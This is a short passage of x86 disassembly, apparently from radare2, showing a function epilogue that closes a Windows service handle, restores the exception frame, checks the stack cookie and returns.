call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
call fcn.00552cb1
int3